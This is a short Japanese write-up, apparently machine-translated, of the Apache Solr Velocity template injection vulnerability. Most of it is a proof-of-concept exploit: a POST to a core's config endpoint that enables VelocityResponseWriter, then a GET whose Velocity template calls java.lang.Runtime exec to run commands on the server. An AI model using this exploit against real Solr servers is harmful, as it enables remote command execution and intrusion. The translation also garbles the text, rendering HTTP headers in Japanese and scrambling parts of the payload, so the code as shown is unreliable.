0x01のSolrのブリーフ
Solrには、人気のApache Luceneの™、高速で、オープンソースのエンタープライズ検索プラットフォームに基づいています。
Solrの高い信頼性、スケーラビリティと耐障害性を持つ、分散型インデックスは、クエリのレプリケーションと負荷分散、フェイルオーバー、自動回復、など集中コンフィギュレーションを提供することができます。Solrには世界最大のインターネットサイトの多くは、検索およびナビゲーション機能を提供します。
0x02の脆弱性を紹介
抜け穴は、特定の原理はまだ公衆に注入することができる速度モジュールです。そのPOCは、開示されています。
0x03の再現性のある脆弱性
ギャング環境のおかげで、少し時間を節約できます。
- オープンSolrのホーム・ページ、セレクタをクリックして コアセレクター 、このようなものを選択する(とSolrの精通していない、この事のプロパティを定義する方法がわからない)、我々は彼を呼び出す $名 。
- 今、建設POCは、最初の設定ファイルを書きます
POST / Solrの/ $名 / configにHTTP / 1.1 ホスト:$ターゲット プラグマ:なし - キャッシュ キャッシュ -制御:無キャッシュは 受け入れ:アプリケーション / JSON、text / plainで、* / * のUser-Agent:Mozillaの/ 5.0(Windows NTの10.0; Win64の、のx64; RV:70.0)のGecko / 20100101 Firefoxの/ 70.0 受け入れ:アプリケーション/ JSON、text / plainで、* / * 受け入れ -Language:ZH-CN、ZH; Q = 0.8、ZH-TW; Q = 0.7、ZH-HK; Q = 0.5、EN-US; Q = 0.3、EN; Q = 0.2 受け入れ - エンコーディング:GZIPを収縮させる 接続:近い リファラーます。https:// $ターゲット / Solrの/ コンテンツの長さ:259 { "更新queryresponsewriter":{ "スタートアップ": "怠惰"、 "名": "速度"、 "クラス": "solr.VelocityResponseWriterを"、 「template.base .dir ": ""、 "solr.resource.loader.enabled": "真"、 "params.resource.loader.enabled": "真" } }
- ハッピー過去に契約、成功〜
- コマンドの実行を書きます
GET / Solrの/ $名 /select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java .lang.Runtime%27))+%の23set($ CHR = $ x.class.forName(%の27java.lang.Character%27))+%の23set($ STR = $ x.class.forName(%の27java.lang +。EXEC(%の27lsの%27))+ $ ex.waitFor()+%23set($アウト= $ ex.getInputStream())%27).String)+%の23set($ EX = $ rt.getRuntime() %の23foreach($ iは+ IN + [1 .. $ out.available()])$ str.valueOf($ chr.toChars($ out.read()))%23end HTTP / 1.1 ホスト:$ターゲット プラグマ:なし - キャッシュ キャッシュ -制御:NO- キャッシュ 受け入れ:アプリケーション / JSON、text / plainで、* / * のUser-Agent:Mozillaの/ 5.0(Windows NTの10.0; Win64の、x64の、RV:70.0)のGecko / 20100101 Firefoxの/ 70.0 受け入れ:アプリケーション/ JSON、text / plainで、* / * 受け入れ -Language:ZH-CN、ZH; Q = 0.8、ZH-TW; Q = 0.7、ZH-HK; Q = 0.5、EN-US; Q = 0.3、EN; Qが= 0.2 受け入れる - エンコーディング:GZIPを、収縮 接続:近い リファラーます。https:// $ターゲット / Solrの/ コンテンツの長さ:259